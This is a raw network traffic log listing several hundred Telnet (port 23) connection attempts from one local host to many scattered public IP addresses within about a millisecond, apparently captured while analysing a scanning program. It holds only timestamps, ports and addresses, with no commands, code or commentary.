Jan 5, 2025 14:26:56.189393044 CET	57214	23	192.168.2.13	36.108.180.30
Jan 5, 2025 14:26:56.189393044 CET	57214	23	192.168.2.13	159.255.144.214
Jan 5, 2025 14:26:56.189393044 CET	57214	23	192.168.2.13	107.213.74.50
Jan 5, 2025 14:26:56.189395905 CET	57214	23	192.168.2.13	34.128.215.253
Jan 5, 2025 14:26:56.189398050 CET	57214	23	192.168.2.13	143.14.87.66
Jan 5, 2025 14:26:56.189409971 CET	57214	23	192.168.2.13	117.47.91.18
Jan 5, 2025 14:26:56.189412117 CET	57214	23	192.168.2.13	73.237.113.233
Jan 5, 2025 14:26:56.189419031 CET	57214	23	192.168.2.13	158.213.201.28
Jan 5, 2025 14:26:56.189421892 CET	57214	23	192.168.2.13	80.2.233.83
Jan 5, 2025 14:26:56.189440966 CET	57214	23	192.168.2.13	205.108.95.83
Jan 5, 2025 14:26:56.189450026 CET	57214	23	192.168.2.13	116.142.85.191
Jan 5, 2025 14:26:56.189451933 CET	57214	23	192.168.2.13	2.147.207.25
Jan 5, 2025 14:26:56.189456940 CET	57214	23	192.168.2.13	156.90.18.158
Jan 5, 2025 14:26:56.189456940 CET	57214	23	192.168.2.13	61.190.126.192
Jan 5, 2025 14:26:56.189460993 CET	57214	23	192.168.2.13	62.5.117.159
Jan 5, 2025 14:26:56.189461946 CET	57214	23	192.168.2.13	140.133.219.84
Jan 5, 2025 14:26:56.189470053 CET	57214	23	192.168.2.13	159.143.62.134
Jan 5, 2025 14:26:56.189476967 CET	57214	23	192.168.2.13	114.203.147.58
Jan 5, 2025 14:26:56.189485073 CET	57214	23	192.168.2.13	54.133.87.87
Jan 5, 2025 14:26:56.189490080 CET	57214	23	192.168.2.13	202.241.53.229
Jan 5, 2025 14:26:56.189501047 CET	57214	23	192.168.2.13	132.78.163.91
Jan 5, 2025 14:26:56.189501047 CET	57214	23	192.168.2.13	92.153.19.153
Jan 5, 2025 14:26:56.189512014 CET	57214	23	192.168.2.13	143.40.106.218
Jan 5, 2025 14:26:56.189512014 CET	57214	23	192.168.2.13	86.6.30.26
Jan 5, 2025 14:26:56.189534903 CET	57214	23	192.168.2.13	41.154.48.57
Jan 5, 2025 14:26:56.189538002 CET	57214	23	192.168.2.13	155.167.140.231
Jan 5, 2025 14:26:56.189546108 CET	57214	23	192.168.2.13	18.201.89.19
Jan 5, 2025 14:26:56.189546108 CET	57214	23	192.168.2.13	217.108.149.193
Jan 5, 2025 14:26:56.189551115 CET	57214	23	192.168.2.13	41.223.30.255
Jan 5, 2025 14:26:56.189549923 CET	57214	23	192.168.2.13	145.170.44.121
Jan 5, 2025 14:26:56.189551115 CET	57214	23	192.168.2.13	12.85.145.22
Jan 5, 2025 14:26:56.189551115 CET	57214	23	192.168.2.13	165.31.184.24
Jan 5, 2025 14:26:56.189551115 CET	57214	23	192.168.2.13	159.162.51.75
Jan 5, 2025 14:26:56.189572096 CET	57214	23	192.168.2.13	197.237.46.120
Jan 5, 2025 14:26:56.189574003 CET	57214	23	192.168.2.13	66.137.161.255
Jan 5, 2025 14:26:56.189577103 CET	57214	23	192.168.2.13	57.169.237.162
Jan 5, 2025 14:26:56.189577103 CET	57214	23	192.168.2.13	92.100.24.140
Jan 5, 2025 14:26:56.189578056 CET	57214	23	192.168.2.13	84.243.141.216
Jan 5, 2025 14:26:56.189578056 CET	57214	23	192.168.2.13	23.4.127.143
Jan 5, 2025 14:26:56.189585924 CET	57214	23	192.168.2.13	93.23.131.231
Jan 5, 2025 14:26:56.189594030 CET	57214	23	192.168.2.13	202.116.142.196
Jan 5, 2025 14:26:56.189608097 CET	57214	23	192.168.2.13	105.235.68.103
Jan 5, 2025 14:26:56.189608097 CET	57214	23	192.168.2.13	2.75.44.13
Jan 5, 2025 14:26:56.189618111 CET	57214	23	192.168.2.13	121.132.241.244
Jan 5, 2025 14:26:56.189618111 CET	57214	23	192.168.2.13	70.148.113.73
Jan 5, 2025 14:26:56.189627886 CET	57214	23	192.168.2.13	162.107.61.255
Jan 5, 2025 14:26:56.189641953 CET	57214	23	192.168.2.13	198.217.207.132
Jan 5, 2025 14:26:56.189636946 CET	57214	23	192.168.2.13	89.67.46.234
Jan 5, 2025 14:26:56.189645052 CET	57214	23	192.168.2.13	81.247.116.176
Jan 5, 2025 14:26:56.189655066 CET	57214	23	192.168.2.13	35.82.184.94
Jan 5, 2025 14:26:56.189655066 CET	57214	23	192.168.2.13	206.34.65.185
Jan 5, 2025 14:26:56.189657927 CET	57214	23	192.168.2.13	48.154.132.156
Jan 5, 2025 14:26:56.189657927 CET	57214	23	192.168.2.13	223.42.184.103
Jan 5, 2025 14:26:56.189663887 CET	57214	23	192.168.2.13	18.113.92.72
Jan 5, 2025 14:26:56.189663887 CET	57214	23	192.168.2.13	71.126.143.156
Jan 5, 2025 14:26:56.189663887 CET	57214	23	192.168.2.13	204.177.229.180
Jan 5, 2025 14:26:56.189665079 CET	57214	23	192.168.2.13	34.254.1.225
Jan 5, 2025 14:26:56.189666033 CET	57214	23	192.168.2.13	120.235.184.184
Jan 5, 2025 14:26:56.189666033 CET	57214	23	192.168.2.13	132.63.55.252
Jan 5, 2025 14:26:56.189665079 CET	57214	23	192.168.2.13	169.241.210.240
Jan 5, 2025 14:26:56.189670086 CET	57214	23	192.168.2.13	66.197.171.72
Jan 5, 2025 14:26:56.189670086 CET	57214	23	192.168.2.13	183.241.111.86
Jan 5, 2025 14:26:56.189671040 CET	57214	23	192.168.2.13	76.243.220.171
Jan 5, 2025 14:26:56.189671040 CET	57214	23	192.168.2.13	209.23.37.105
Jan 5, 2025 14:26:56.189671040 CET	57214	23	192.168.2.13	51.253.166.14
Jan 5, 2025 14:26:56.189671040 CET	57214	23	192.168.2.13	194.255.194.192
Jan 5, 2025 14:26:56.189677954 CET	57214	23	192.168.2.13	66.82.217.75
Jan 5, 2025 14:26:56.189682961 CET	57214	23	192.168.2.13	31.246.47.245
Jan 5, 2025 14:26:56.189687014 CET	57214	23	192.168.2.13	222.176.48.89
Jan 5, 2025 14:26:56.189712048 CET	57214	23	192.168.2.13	121.164.73.4
Jan 5, 2025 14:26:56.189712048 CET	57214	23	192.168.2.13	105.86.10.182
Jan 5, 2025 14:26:56.189717054 CET	57214	23	192.168.2.13	144.201.56.219
Jan 5, 2025 14:26:56.189717054 CET	57214	23	192.168.2.13	162.42.54.107
Jan 5, 2025 14:26:56.189724922 CET	57214	23	192.168.2.13	183.201.14.135
Jan 5, 2025 14:26:56.189724922 CET	57214	23	192.168.2.13	212.194.18.142
Jan 5, 2025 14:26:56.189724922 CET	57214	23	192.168.2.13	34.163.76.151
Jan 5, 2025 14:26:56.189730883 CET	57214	23	192.168.2.13	98.219.183.74
Jan 5, 2025 14:26:56.189737082 CET	57214	23	192.168.2.13	202.223.129.50
Jan 5, 2025 14:26:56.189737082 CET	57214	23	192.168.2.13	122.104.16.253
Jan 5, 2025 14:26:56.189740896 CET	57214	23	192.168.2.13	114.92.41.242
Jan 5, 2025 14:26:56.189747095 CET	57214	23	192.168.2.13	176.89.188.248
Jan 5, 2025 14:26:56.189749956 CET	57214	23	192.168.2.13	12.94.106.40
Jan 5, 2025 14:26:56.189749956 CET	57214	23	192.168.2.13	54.0.166.70
Jan 5, 2025 14:26:56.189759970 CET	57214	23	192.168.2.13	167.26.8.73
Jan 5, 2025 14:26:56.189762115 CET	57214	23	192.168.2.13	217.137.16.2
Jan 5, 2025 14:26:56.189768076 CET	57214	23	192.168.2.13	9.195.98.200
Jan 5, 2025 14:26:56.189774036 CET	57214	23	192.168.2.13	149.46.49.142
Jan 5, 2025 14:26:56.189779043 CET	57214	23	192.168.2.13	87.229.239.183
Jan 5, 2025 14:26:56.189779997 CET	57214	23	192.168.2.13	69.182.118.32
Jan 5, 2025 14:26:56.189800978 CET	57214	23	192.168.2.13	59.99.39.232
Jan 5, 2025 14:26:56.189805984 CET	57214	23	192.168.2.13	186.45.83.191
Jan 5, 2025 14:26:56.189806938 CET	57214	23	192.168.2.13	77.73.37.38
Jan 5, 2025 14:26:56.189809084 CET	57214	23	192.168.2.13	165.47.173.127
Jan 5, 2025 14:26:56.189815998 CET	57214	23	192.168.2.13	72.42.202.214
Jan 5, 2025 14:26:56.189815998 CET	57214	23	192.168.2.13	57.19.171.43
Jan 5, 2025 14:26:56.189815998 CET	57214	23	192.168.2.13	163.161.191.192
Jan 5, 2025 14:26:56.189815998 CET	57214	23	192.168.2.13	14.235.226.58
Jan 5, 2025 14:26:56.189822912 CET	57214	23	192.168.2.13	169.234.85.22
Jan 5, 2025 14:26:56.189825058 CET	57214	23	192.168.2.13	105.46.105.240
Jan 5, 2025 14:26:56.189825058 CET	57214	23	192.168.2.13	45.146.206.54
Jan 5, 2025 14:26:56.189832926 CET	57214	23	192.168.2.13	177.172.204.83
Jan 5, 2025 14:26:56.189832926 CET	57214	23	192.168.2.13	218.219.20.104
Jan 5, 2025 14:26:56.189836025 CET	57214	23	192.168.2.13	49.64.79.111
Jan 5, 2025 14:26:56.189836025 CET	57214	23	192.168.2.13	166.180.160.3
Jan 5, 2025 14:26:56.189836979 CET	57214	23	192.168.2.13	57.237.38.132
Jan 5, 2025 14:26:56.189836979 CET	57214	23	192.168.2.13	107.17.187.6
Jan 5, 2025 14:26:56.189836025 CET	57214	23	192.168.2.13	20.183.244.237
Jan 5, 2025 14:26:56.189836979 CET	57214	23	192.168.2.13	106.123.74.253
Jan 5, 2025 14:26:56.189836979 CET	57214	23	192.168.2.13	17.6.24.184
Jan 5, 2025 14:26:56.189838886 CET	57214	23	192.168.2.13	18.74.57.219
Jan 5, 2025 14:26:56.189836025 CET	57214	23	192.168.2.13	133.246.143.157
Jan 5, 2025 14:26:56.189836979 CET	57214	23	192.168.2.13	201.103.211.162
Jan 5, 2025 14:26:56.189842939 CET	57214	23	192.168.2.13	9.48.241.59
Jan 5, 2025 14:26:56.189842939 CET	57214	23	192.168.2.13	168.68.23.53
Jan 5, 2025 14:26:56.189842939 CET	57214	23	192.168.2.13	54.153.129.159
Jan 5, 2025 14:26:56.189842939 CET	57214	23	192.168.2.13	1.90.133.31
Jan 5, 2025 14:26:56.189846039 CET	57214	23	192.168.2.13	14.249.29.119
Jan 5, 2025 14:26:56.189847946 CET	57214	23	192.168.2.13	135.147.4.111
Jan 5, 2025 14:26:56.189851999 CET	57214	23	192.168.2.13	219.42.19.226
Jan 5, 2025 14:26:56.189852953 CET	57214	23	192.168.2.13	176.242.190.71
Jan 5, 2025 14:26:56.189852953 CET	57214	23	192.168.2.13	126.28.183.76
Jan 5, 2025 14:26:56.189852953 CET	57214	23	192.168.2.13	173.84.215.130
Jan 5, 2025 14:26:56.189853907 CET	57214	23	192.168.2.13	88.144.20.232
Jan 5, 2025 14:26:56.189870119 CET	57214	23	192.168.2.13	104.176.204.203
Jan 5, 2025 14:26:56.189876080 CET	57214	23	192.168.2.13	93.68.69.58
Jan 5, 2025 14:26:56.189887047 CET	57214	23	192.168.2.13	50.77.154.161
Jan 5, 2025 14:26:56.189887047 CET	57214	23	192.168.2.13	220.160.109.59
Jan 5, 2025 14:26:56.189891100 CET	57214	23	192.168.2.13	27.159.90.149
Jan 5, 2025 14:26:56.189891100 CET	57214	23	192.168.2.13	117.236.113.54
Jan 5, 2025 14:26:56.189898014 CET	57214	23	192.168.2.13	123.231.172.251
Jan 5, 2025 14:26:56.189898014 CET	57214	23	192.168.2.13	163.105.18.68
Jan 5, 2025 14:26:56.189898014 CET	57214	23	192.168.2.13	178.57.136.131
Jan 5, 2025 14:26:56.189904928 CET	57214	23	192.168.2.13	174.169.74.211
Jan 5, 2025 14:26:56.189904928 CET	57214	23	192.168.2.13	79.207.62.165
Jan 5, 2025 14:26:56.189904928 CET	57214	23	192.168.2.13	82.73.53.91
Jan 5, 2025 14:26:56.189907074 CET	57214	23	192.168.2.13	134.3.84.125
Jan 5, 2025 14:26:56.189905882 CET	57214	23	192.168.2.13	4.93.203.119
Jan 5, 2025 14:26:56.189912081 CET	57214	23	192.168.2.13	133.178.214.35
Jan 5, 2025 14:26:56.189929962 CET	57214	23	192.168.2.13	113.34.210.63
Jan 5, 2025 14:26:56.189929962 CET	57214	23	192.168.2.13	39.247.128.235
Jan 5, 2025 14:26:56.189929962 CET	57214	23	192.168.2.13	108.223.84.242
Jan 5, 2025 14:26:56.189940929 CET	57214	23	192.168.2.13	206.51.208.44
Jan 5, 2025 14:26:56.189941883 CET	57214	23	192.168.2.13	96.214.227.20
Jan 5, 2025 14:26:56.189943075 CET	57214	23	192.168.2.13	189.65.125.27
Jan 5, 2025 14:26:56.189943075 CET	57214	23	192.168.2.13	122.45.77.36
Jan 5, 2025 14:26:56.189949989 CET	57214	23	192.168.2.13	218.198.246.206
Jan 5, 2025 14:26:56.189959049 CET	57214	23	192.168.2.13	59.252.114.80
Jan 5, 2025 14:26:56.189960003 CET	57214	23	192.168.2.13	211.37.246.48
Jan 5, 2025 14:26:56.189963102 CET	57214	23	192.168.2.13	153.125.82.37
Jan 5, 2025 14:26:56.189984083 CET	57214	23	192.168.2.13	66.232.187.111
Jan 5, 2025 14:26:56.189987898 CET	57214	23	192.168.2.13	122.239.86.209
Jan 5, 2025 14:26:56.189992905 CET	57214	23	192.168.2.13	110.24.176.69
Jan 5, 2025 14:26:56.189995050 CET	57214	23	192.168.2.13	135.3.112.179
Jan 5, 2025 14:26:56.189995050 CET	57214	23	192.168.2.13	38.175.15.189
Jan 5, 2025 14:26:56.190000057 CET	57214	23	192.168.2.13	156.158.217.114
Jan 5, 2025 14:26:56.190001965 CET	57214	23	192.168.2.13	81.239.66.224
Jan 5, 2025 14:26:56.190004110 CET	57214	23	192.168.2.13	180.140.203.131
Jan 5, 2025 14:26:56.190018892 CET	57214	23	192.168.2.13	159.52.112.165
Jan 5, 2025 14:26:56.190021992 CET	57214	23	192.168.2.13	70.183.250.191
Jan 5, 2025 14:26:56.190030098 CET	57214	23	192.168.2.13	106.168.135.216
Jan 5, 2025 14:26:56.190031052 CET	57214	23	192.168.2.13	68.15.218.48
Jan 5, 2025 14:26:56.190031052 CET	57214	23	192.168.2.13	130.128.131.40
Jan 5, 2025 14:26:56.190031052 CET	57214	23	192.168.2.13	58.60.39.80
Jan 5, 2025 14:26:56.190031052 CET	57214	23	192.168.2.13	164.55.176.12
Jan 5, 2025 14:26:56.190035105 CET	57214	23	192.168.2.13	39.224.127.7
Jan 5, 2025 14:26:56.190047026 CET	57214	23	192.168.2.13	68.9.135.169
Jan 5, 2025 14:26:56.190047979 CET	57214	23	192.168.2.13	115.15.227.238
Jan 5, 2025 14:26:56.190047026 CET	57214	23	192.168.2.13	111.108.54.136
Jan 5, 2025 14:26:56.190051079 CET	57214	23	192.168.2.13	123.135.243.152
Jan 5, 2025 14:26:56.190052032 CET	57214	23	192.168.2.13	106.211.27.69
Jan 5, 2025 14:26:56.190057039 CET	57214	23	192.168.2.13	181.163.167.173
Jan 5, 2025 14:26:56.190076113 CET	57214	23	192.168.2.13	87.7.226.132
Jan 5, 2025 14:26:56.190076113 CET	57214	23	192.168.2.13	190.11.103.2
Jan 5, 2025 14:26:56.190076113 CET	57214	23	192.168.2.13	53.57.17.199
Jan 5, 2025 14:26:56.190083981 CET	57214	23	192.168.2.13	134.15.94.228
Jan 5, 2025 14:26:56.190083981 CET	57214	23	192.168.2.13	12.96.120.99
Jan 5, 2025 14:26:56.190099955 CET	57214	23	192.168.2.13	210.34.175.148
Jan 5, 2025 14:26:56.190099955 CET	57214	23	192.168.2.13	189.185.78.55
Jan 5, 2025 14:26:56.190104008 CET	57214	23	192.168.2.13	158.171.84.197
Jan 5, 2025 14:26:56.190104008 CET	57214	23	192.168.2.13	165.201.121.24
Jan 5, 2025 14:26:56.190109015 CET	57214	23	192.168.2.13	44.247.69.168
Jan 5, 2025 14:26:56.190110922 CET	57214	23	192.168.2.13	180.248.192.168
Jan 5, 2025 14:26:56.190110922 CET	57214	23	192.168.2.13	148.147.128.61
Jan 5, 2025 14:26:56.190114021 CET	57214	23	192.168.2.13	20.172.166.84
Jan 5, 2025 14:26:56.190118074 CET	57214	23	192.168.2.13	40.177.61.84
Jan 5, 2025 14:26:56.190123081 CET	57214	23	192.168.2.13	64.69.225.98
Jan 5, 2025 14:26:56.190128088 CET	57214	23	192.168.2.13	200.113.130.162
Jan 5, 2025 14:26:56.190130949 CET	57214	23	192.168.2.13	112.131.29.254
Jan 5, 2025 14:26:56.190139055 CET	57214	23	192.168.2.13	48.181.255.154
Jan 5, 2025 14:26:56.190141916 CET	57214	23	192.168.2.13	42.240.206.238
Jan 5, 2025 14:26:56.190141916 CET	57214	23	192.168.2.13	53.231.175.112
Jan 5, 2025 14:26:56.190143108 CET	57214	23	192.168.2.13	153.46.170.194
Jan 5, 2025 14:26:56.190141916 CET	57214	23	192.168.2.13	174.205.112.94
Jan 5, 2025 14:26:56.190141916 CET	57214	23	192.168.2.13	158.42.222.144
Jan 5, 2025 14:26:56.190165043 CET	57214	23	192.168.2.13	84.28.222.232
Jan 5, 2025 14:26:56.190171003 CET	57214	23	192.168.2.13	96.20.248.79
Jan 5, 2025 14:26:56.190172911 CET	57214	23	192.168.2.13	44.161.35.116
Jan 5, 2025 14:26:56.190179110 CET	57214	23	192.168.2.13	176.51.195.42
Jan 5, 2025 14:26:56.190181017 CET	57214	23	192.168.2.13	169.168.6.40
Jan 5, 2025 14:26:56.190190077 CET	57214	23	192.168.2.13	140.193.71.79
Jan 5, 2025 14:26:56.190193892 CET	57214	23	192.168.2.13	221.39.35.114
Jan 5, 2025 14:26:56.190193892 CET	57214	23	192.168.2.13	185.67.166.192
Jan 5, 2025 14:26:56.190196991 CET	57214	23	192.168.2.13	138.76.207.167
Jan 5, 2025 14:26:56.190200090 CET	57214	23	192.168.2.13	170.32.117.20
Jan 5, 2025 14:26:56.190210104 CET	57214	23	192.168.2.13	218.168.104.102
Jan 5, 2025 14:26:56.190210104 CET	57214	23	192.168.2.13	124.184.215.14
Jan 5, 2025 14:26:56.190212011 CET	57214	23	192.168.2.13	81.23.225.211
Jan 5, 2025 14:26:56.190217018 CET	57214	23	192.168.2.13	210.5.110.104
Jan 5, 2025 14:26:56.190242052 CET	57214	23	192.168.2.13	86.95.251.168
Jan 5, 2025 14:26:56.190242052 CET	57214	23	192.168.2.13	106.92.230.171
Jan 5, 2025 14:26:56.190242052 CET	57214	23	192.168.2.13	66.121.18.153
Jan 5, 2025 14:26:56.190244913 CET	57214	23	192.168.2.13	141.239.111.33
Jan 5, 2025 14:26:56.190251112 CET	57214	23	192.168.2.13	98.214.73.11
Jan 5, 2025 14:26:56.190259933 CET	57214	23	192.168.2.13	34.66.163.12
Jan 5, 2025 14:26:56.190265894 CET	57214	23	192.168.2.13	117.242.103.61
Jan 5, 2025 14:26:56.190269947 CET	57214	23	192.168.2.13	13.197.179.241
Jan 5, 2025 14:26:56.190278053 CET	57214	23	192.168.2.13	154.28.92.124
Jan 5, 2025 14:26:56.190287113 CET	57214	23	192.168.2.13	60.193.35.203
Jan 5, 2025 14:26:56.190287113 CET	57214	23	192.168.2.13	180.59.45.77
Jan 5, 2025 14:26:56.190291882 CET	57214	23	192.168.2.13	34.5.191.5
Jan 5, 2025 14:26:56.190291882 CET	57214	23	192.168.2.13	78.147.90.130
Jan 5, 2025 14:26:56.190291882 CET	57214	23	192.168.2.13	120.254.124.90
Jan 5, 2025 14:26:56.190309048 CET	57214	23	192.168.2.13	61.203.250.61
Jan 5, 2025 14:26:56.190309048 CET	57214	23	192.168.2.13	174.72.253.125
Jan 5, 2025 14:26:56.190325022 CET	57214	23	192.168.2.13	110.203.140.110
Jan 5, 2025 14:26:56.190330982 CET	57214	23	192.168.2.13	204.155.172.165
Jan 5, 2025 14:26:56.190350056 CET	57214	23	192.168.2.13	141.102.5.139
Jan 5, 2025 14:26:56.190351963 CET	57214	23	192.168.2.13	100.250.248.89
Jan 5, 2025 14:26:56.190356970 CET	57214	23	192.168.2.13	87.124.236.39
Jan 5, 2025 14:26:56.190361023 CET	57214	23	192.168.2.13	189.233.44.235
Jan 5, 2025 14:26:56.190366030 CET	57214	23	192.168.2.13	117.154.177.75
Jan 5, 2025 14:26:56.190371990 CET	57214	23	192.168.2.13	46.138.47.98
Jan 5, 2025 14:26:56.190375090 CET	57214	23	192.168.2.13	17.91.1.122
Jan 5, 2025 14:26:56.190375090 CET	57214	23	192.168.2.13	93.42.44.112
Jan 5, 2025 14:26:56.190375090 CET	57214	23	192.168.2.13	67.34.132.165
Jan 5, 2025 14:26:56.190375090 CET	57214	23	192.168.2.13	87.15.221.211
Jan 5, 2025 14:26:56.190392017 CET	57214	23	192.168.2.13	220.20.137.73
Jan 5, 2025 14:26:56.190392017 CET	57214	23	192.168.2.13	164.228.72.106
Jan 5, 2025 14:26:56.190406084 CET	57214	23	192.168.2.13	38.208.103.190
Jan 5, 2025 14:26:56.190406084 CET	57214	23	192.168.2.13	129.91.249.72
Jan 5, 2025 14:26:56.190408945 CET	57214	23	192.168.2.13	2.7.249.109
Jan 5, 2025 14:26:56.190408945 CET	57214	23	192.168.2.13	161.174.220.150
Jan 5, 2025 14:26:56.190408945 CET	57214	23	192.168.2.13	191.54.194.131
Jan 5, 2025 14:26:56.190433025 CET	57214	23	192.168.2.13	190.206.3.0
Jan 5, 2025 14:26:56.190433025 CET	57214	23	192.168.2.13	140.36.20.61
Jan 5, 2025 14:26:56.190439939 CET	57214	23	192.168.2.13	201.21.27.18
Jan 5, 2025 14:26:56.190447092 CET	57214	23	192.168.2.13	82.126.86.222
Jan 5, 2025 14:26:56.190449953 CET	57214	23	192.168.2.13	76.185.167.20
Jan 5, 2025 14:26:56.190450907 CET	57214	23	192.168.2.13	80.39.16.235
Jan 5, 2025 14:26:56.190455914 CET	57214	23	192.168.2.13	150.93.5.130
Jan 5, 2025 14:26:56.190459967 CET	57214	23	192.168.2.13	206.135.211.127
Jan 5, 2025 14:26:56.190462112 CET	57214	23	192.168.2.13	58.142.123.253
Jan 5, 2025 14:26:56.190462112 CET	57214	23	192.168.2.13	13.44.228.147
Jan 5, 2025 14:26:56.190463066 CET	57214	23	192.168.2.13	129.5.38.180
Jan 5, 2025 14:26:56.190463066 CET	57214	23	192.168.2.13	156.104.45.241
Jan 5, 2025 14:26:56.190471888 CET	57214	23	192.168.2.13	118.221.97.1
Jan 5, 2025 14:26:56.190471888 CET	57214	23	192.168.2.13	113.80.98.172
Jan 5, 2025 14:26:56.190479994 CET	57214	23	192.168.2.13	145.210.71.168
Jan 5, 2025 14:26:56.190479040 CET	57214	23	192.168.2.13	105.231.114.114
Jan 5, 2025 14:26:56.190479040 CET	57214	23	192.168.2.13	20.33.18.5
Jan 5, 2025 14:26:56.190479040 CET	57214	23	192.168.2.13	184.162.6.239
Jan 5, 2025 14:26:56.190490007 CET	57214	23	192.168.2.13	169.221.88.42
Jan 5, 2025 14:26:56.190493107 CET	57214	23	192.168.2.13	54.36.182.122
Jan 5, 2025 14:26:56.190495968 CET	57214	23	192.168.2.13	82.141.108.92
Jan 5, 2025 14:26:56.190495968 CET	57214	23	192.168.2.13	152.138.224.226
Jan 5, 2025 14:26:56.190496922 CET	57214	23	192.168.2.13	36.35.157.158
Jan 5, 2025 14:26:56.190500021 CET	57214	23	192.168.2.13	158.100.169.118
Jan 5, 2025 14:26:56.190511942 CET	57214	23	192.168.2.13	183.72.237.144
Jan 5, 2025 14:26:56.190526962 CET	57214	23	192.168.2.13	78.103.83.2
Jan 5, 2025 14:26:56.190527916 CET	57214	23	192.168.2.13	190.24.10.96
Jan 5, 2025 14:26:56.190527916 CET	57214	23	192.168.2.13	96.249.103.48
Jan 5, 2025 14:26:56.190530062 CET	57214	23	192.168.2.13	211.41.110.164
Jan 5, 2025 14:26:56.190531969 CET	57214	23	192.168.2.13	80.92.95.221
Jan 5, 2025 14:26:56.190536976 CET	57214	23	192.168.2.13	92.219.177.83
Jan 5, 2025 14:26:56.190541983 CET	57214	23	192.168.2.13	166.65.0.73
Jan 5, 2025 14:26:56.190541983 CET	57214	23	192.168.2.13	200.174.156.2
Jan 5, 2025 14:26:56.190546036 CET	57214	23	192.168.2.13	75.98.218.23
Jan 5, 2025 14:26:56.190546989 CET	57214	23	192.168.2.13	74.18.24.122
Jan 5, 2025 14:26:56.190551043 CET	57214	23	192.168.2.13	130.178.157.21
Jan 5, 2025 14:26:56.190562010 CET	57214	23	192.168.2.13	64.135.78.57
Jan 5, 2025 14:26:56.190568924 CET	57214	23	192.168.2.13	122.237.31.182
Jan 5, 2025 14:26:56.190579891 CET	57214	23	192.168.2.13	195.84.14.5
Jan 5, 2025 14:26:56.190582037 CET	57214	23	192.168.2.13	219.49.18.112
Jan 5, 2025 14:26:56.190607071 CET	57214	23	192.168.2.13	48.42.146.81
Jan 5, 2025 14:26:56.190612078 CET	57214	23	192.168.2.13	206.172.69.217
Jan 5, 2025 14:26:56.190615892 CET	57214	23	192.168.2.13	82.169.115.60
Jan 5, 2025 14:26:56.190615892 CET	57214	23	192.168.2.13	181.65.192.13
Jan 5, 2025 14:26:56.190617085 CET	57214	23	192.168.2.13	218.88.138.211
Jan 5, 2025 14:26:56.190629959 CET	57214	23	192.168.2.13	93.252.101.253
Jan 5, 2025 14:26:56.190634012 CET	57214	23	192.168.2.13	135.175.112.182
Jan 5, 2025 14:26:56.190634012 CET	57214	23	192.168.2.13	69.186.104.39
Jan 5, 2025 14:26:56.190634966 CET	57214	23	192.168.2.13	183.202.43.211
Jan 5, 2025 14:26:56.190634966 CET	57214	23	192.168.2.13	109.137.230.8
Jan 5, 2025 14:26:56.190649986 CET	57214	23	192.168.2.13	47.5.209.225
Jan 5, 2025 14:26:56.190656900 CET	57214	23	192.168.2.13	40.122.190.85
Jan 5, 2025 14:26:56.190660000 CET	57214	23	192.168.2.13	95.56.178.6
Jan 5, 2025 14:26:56.190669060 CET	57214	23	192.168.2.13	98.247.63.102
Jan 5, 2025 14:26:56.190694094 CET	57214	23	192.168.2.13	103.156.86.193
Jan 5, 2025 14:26:56.190694094 CET	57214	23	192.168.2.13	12.212.60.181
Jan 5, 2025 14:26:56.190694094 CET	57214	23	192.168.2.13	143.255.249.23
Jan 5, 2025 14:26:56.190695047 CET	57214	23	192.168.2.13	96.121.189.45
Jan 5, 2025 14:26:56.190696955 CET	57214	23	192.168.2.13	172.65.122.213
Jan 5, 2025 14:26:56.190701962 CET	57214	23	192.168.2.13	151.51.230.43
Jan 5, 2025 14:26:56.190713882 CET	57214	23	192.168.2.13	27.114.192.1
Jan 5, 2025 14:26:56.190713882 CET	57214	23	192.168.2.13	106.241.141.176
Jan 5, 2025 14:26:56.190717936 CET	57214	23	192.168.2.13	93.173.202.53
Jan 5, 2025 14:26:56.190722942 CET	57214	23	192.168.2.13	70.130.181.95
Jan 5, 2025 14:26:56.190735102 CET	57214	23	192.168.2.13	156.133.87.173
Jan 5, 2025 14:26:56.190735102 CET	57214	23	192.168.2.13	133.5.247.56
Jan 5, 2025 14:26:56.190735102 CET	57214	23	192.168.2.13	198.156.181.16
Jan 5, 2025 14:26:56.190737963 CET	57214	23	192.168.2.13	143.147.97.255
Jan 5, 2025 14:26:56.190737963 CET	57214	23	192.168.2.13	212.244.71.160
Jan 5, 2025 14:26:56.190745115 CET	57214	23	192.168.2.13	176.159.70.36
Jan 5, 2025 14:26:56.190745115 CET	57214	23	192.168.2.13	61.5.216.147
Jan 5, 2025 14:26:56.190756083 CET	57214	23	192.168.2.13	82.156.175.180
Jan 5, 2025 14:26:56.190758944 CET	57214	23	192.168.2.13	209.161.26.119
Jan 5, 2025 14:26:56.190758944 CET	57214	23	192.168.2.13	4.155.250.52
Jan 5, 2025 14:26:56.190762043 CET	57214	23	192.168.2.13	112.81.27.222
Jan 5, 2025 14:26:56.190787077 CET	57214	23	192.168.2.13	132.190.182.146
Jan 5, 2025 14:26:56.190787077 CET	57214	23	192.168.2.13	73.143.93.99
Jan 5, 2025 14:26:56.190793991 CET	57214	23	192.168.2.13	201.27.39.112
Jan 5, 2025 14:26:56.190795898 CET	57214	23	192.168.2.13	43.155.86.17
Jan 5, 2025 14:26:56.190797091 CET	57214	23	192.168.2.13	189.164.179.120
Jan 5, 2025 14:26:56.190803051 CET	57214	23	192.168.2.13	145.29.7.118
Jan 5, 2025 14:26:56.190813065 CET	57214	23	192.168.2.13	216.7.170.250
Jan 5, 2025 14:26:56.190814018 CET	57214	23	192.168.2.13	69.249.43.254
Jan 5, 2025 14:26:56.190814972 CET	57214	23	192.168.2.13	202.6.230.129
Jan 5, 2025 14:26:56.190815926 CET	57214	23	192.168.2.13	72.213.238.90
Jan 5, 2025 14:26:56.190830946 CET	57214	23	192.168.2.13	73.50.105.130
Jan 5, 2025 14:26:56.190834999 CET	57214	23	192.168.2.13	149.238.2.218
Jan 5, 2025 14:26:56.190834999 CET	57214	23	192.168.2.13	122.109.106.63
Jan 5, 2025 14:26:56.190834999 CET	57214	23	192.168.2.13	186.104.113.74
Jan 5, 2025 14:26:56.190835953 CET	57214	23	192.168.2.13	134.158.32.176
Jan 5, 2025 14:26:56.190861940 CET	57214	23	192.168.2.13	53.196.177.43
Jan 5, 2025 14:26:56.190865993 CET	57214	23	192.168.2.13	100.213.146.133
Jan 5, 2025 14:26:56.190866947 CET	57214	23	192.168.2.13	200.41.12.185
Jan 5, 2025 14:26:56.190866947 CET	57214	23	192.168.2.13	74.25.57.242
Jan 5, 2025 14:26:56.190870047 CET	57214	23	192.168.2.13	62.25.122.174
Jan 5, 2025 14:26:56.190870047 CET	57214	23	192.168.2.13	80.89.98.164
Jan 5, 2025 14:26:56.190870047 CET	57214	23	192.168.2.13	170.43.250.157
